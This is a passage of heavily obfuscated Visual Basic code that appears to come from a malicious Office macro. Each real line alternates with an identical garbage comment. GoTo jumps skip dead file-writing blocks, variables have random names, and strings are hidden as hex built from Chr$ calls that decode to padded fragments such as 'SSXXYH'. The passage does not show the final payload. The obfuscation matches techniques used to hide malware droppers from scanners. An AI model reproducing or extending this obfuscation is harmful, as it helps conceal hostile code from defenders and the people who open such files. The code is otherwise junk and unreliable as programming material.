  510. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  511.  
  512. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  513. MLBNYUSM = LTrim(KIPYXPZN)
  514. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  515.  
  516. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  517. GoTo gUIgEYvG
  518. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  519. Dim pIKnVQXH As String
  520. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  521. Open "HRFYXI.SVH" For Binary As 86
  522. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  523. Put #86, , pIKnVQXH
  524. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  525. Close #86
  526. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  527. gUIgEYvG:
  528. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  529.  
  530. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  531. OORRQLCZ = RTrim(MLBNYUSM)
  532. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  533.  
  534. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  535. GoTo FIyvlsSD
  536. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  537. Dim PIhPDhpF As String
  538. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  539. Open "ETNQJC.BBZ" For Binary As 36
  540. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  541. Put #36, , PIhPDhpF
  542. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  543. Close #36
  544. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  545. FIyvlsSD:
  546. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  547.  
  548. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  549.  
  550. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  551.  
  552. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  553. GoTo rMrTLalM
  554. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  555. Dim NMgJftHW As String
  556. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  557. Open "QQBFRK.UTA" For Binary As 68
  558. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  559. Put #68, , NMgJftHW
  560. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  561. Close #68
  562. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  563. rMrTLalM:
  564. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  565.  
  566. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  567. MSPOJTMU = LTrim(IYVYGKJX)
  568. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  569. Dim NZGBPEDD, DIAZDJJC, BFDTFTMU As String
  570. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  571.  
  572. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  573. GoTo tSFGncBf
  574. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  575. Dim aSVaWZxg As String
  576. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  577. Open "QUJLWE.UAL" For Binary As 67
  578. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  579. Put #67, , aSVaWZxg
  580. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  581. Close #67
  582. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  583. tSFGncBf:
  584. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  585.  
  586. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  587. NZGBPEDD = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(56) & Chr$(53) & Chr$(57) & Chr$(52) & Chr$(56) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  588. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  589.  
  590. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  591. GoTo IlWsTBeu
  592. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  593. Dim RlycBeni As String
  594. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  595. Open "NCWTCJ.XJC" For Binary As 24
  596. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  597. Put #24, , RlycBeni
  598. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  599. Close #24
  600. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  601. IlWsTBeu:
  602. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  603.  
  604. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  605. DIAZDJJC = LTrim(NZGBPEDD)
  606. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  607.  
  608. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  609. GoTo bwsBfsRP
  610. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  611. Dim mwwqIjzS As String
  612. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  613. Open "FFVHBR.PIA" For Binary As 14
  614. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  615. Put #14, , mwwqIjzS
  616. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  617. Close #14
  618. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  619. bwsBfsRP:
  620. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  621.  
  622. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  623. BFDTFTMU = RTrim(DIAZDJJC)
  624. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  625.  
  626. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  627. GoTo GUpyFaqJ
  628. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  629. Dim PUmkoyIL As String
  630. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  631. Open "ERZZZK.BVR" For Binary As 36
  632. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  633. Put #36, , PUmkoyIL
  634. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  635. Close #36
  636. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  637. GUpyFaqJ:
  638. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  639.  
  640. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  641.  
  642. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  643.  
  644. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  645. GoTo LtYjZxWV
  646. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  647. Dim GyJEXnlB As String
  648. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  649. Open "THDUWE.APH" For Binary As 41
  650. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  651. Put #41, , GyJEXnlB
  652. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  653. Close #41
  654. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  655. LtYjZxWV:
  656. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  657.  
  658. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  659. YKXSLLCK = RTrim(MSPOJTMU)
  660. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  661.  
  662. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  663. GoTo VZymFwMf
  664. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  665. Dim MEhYobkg As String
  666. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  667. Open "IZNOZZ.RXZ" For Binary As 55
  668. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  669. Put #55, , MEhYobkg
  670. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  671. Close #55
  672. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  673. VZymFwMf:
  674. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  675.  
  676. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  677.  
  678. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  679. Dim QFYWRCKZ, UFHUVZHE, ZGALLYDR As String
  680. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  681.  
  682. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  683. GoTo CITvBEpe
  684. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  685. Dim LOGPlUUr As String
  686. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  687. Open "UTDQUY.EBG" For Binary As 56
  688. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  689. Put #56, , LOGPlUUr
  690. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  691. Close #56
  692. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  693. CITvBEpe:
  694. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  695.  
  696. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  697. QFYWRCKZ = HEXTOSTRING(Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(53) & Chr$(51) & Chr$(53) & Chr$(55) & Chr$(52) & Chr$(66) & Chr$(53) & Chr$(65) & Chr$(52) & Chr$(68) & Chr$(52) & Chr$(66) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48) & Chr$(50) & Chr$(48))
  698. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  699.  
  700. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  701. GoTo uaSxaEDQ
  702. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  703. Dim ezXIwUqS As String
  704. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  705. Open "SFHPIY.IIK" For Binary As 69
  706. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  707. Put #69, , ezXIwUqS
  708. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  709. Close #69
  710. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  711. uaSxaEDQ:
  712. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  713.  
  714. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  715. UFHUVZHE = LTrim(QFYWRCKZ)
  716. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  717.  
  718. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  719. GoTo gtWDEcAX
  720. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  721. Dim qytBCZBC As String
  722. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  723. Open "HHMLXE.SPC" For Binary As 81
  724. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  725. Put #81, , qytBCZBC
  726. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  727. Close #81
  728. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  729. gtWDEcAX:
  730. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  731.  
  732. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  733. ZGALLYDR = RTrim(UFHUVZHE)
  734. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  735.  
  736. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  737. GoTo BBwPdHqR
  738. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  739. Dim MNTCUWIT As String
  740. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  741. Open "AEEOBM.CCY" For Binary As 59
  742. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  743. Put #59, , MNTCUWIT
  744. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  745. Close #59
  746. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  747. BBwPdHqR:
  748. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  749.  
  750. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  751.  
  752. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  753.  
  754. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  755. GoTo YeziXGgm
  756. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  757. Dim ZrdljLSw As String
  758. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  759. Open "BGVETS.WON" For Binary As 21
  760. 'ùÎØÙçðóö àùðöóøãùàðòöøùóàòùëöóàîüìî09óãå-ùöçóøçõâäáæÿäæ÷ìòçøòöóøïðòìøçóðøðØÙÈÒÆà
  761. Put #21, , ZrdljLSw
